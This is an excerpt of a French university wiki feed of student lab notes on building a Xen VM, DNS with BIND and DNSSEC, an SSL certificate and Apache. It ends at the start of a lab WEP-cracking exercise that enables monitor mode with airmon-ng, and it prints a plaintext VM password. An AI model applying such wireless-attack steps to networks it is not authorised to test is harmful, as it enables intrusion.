     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;\{\{ item \}\}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Install Consul==&lt;br /&gt;
&lt;br /&gt;
D'abord, on créé sur la VM un utilisateur Consul dont le GID et UID vaut 666&lt;br /&gt;
 $ useradd consul&lt;br /&gt;
 $ passwd consul&lt;br /&gt;
 $ usermod -u 666 consul&lt;br /&gt;
 $ groupmod -g consul 666&lt;br /&gt;
&lt;br /&gt;
On créé ensuite les repertoires &lt;br /&gt;
/etc/consul et /var/lib/consul que l'on attribue à consul&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58009</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58009"/>
				<updated>2022-01-12T12:35:46Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Ip table */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
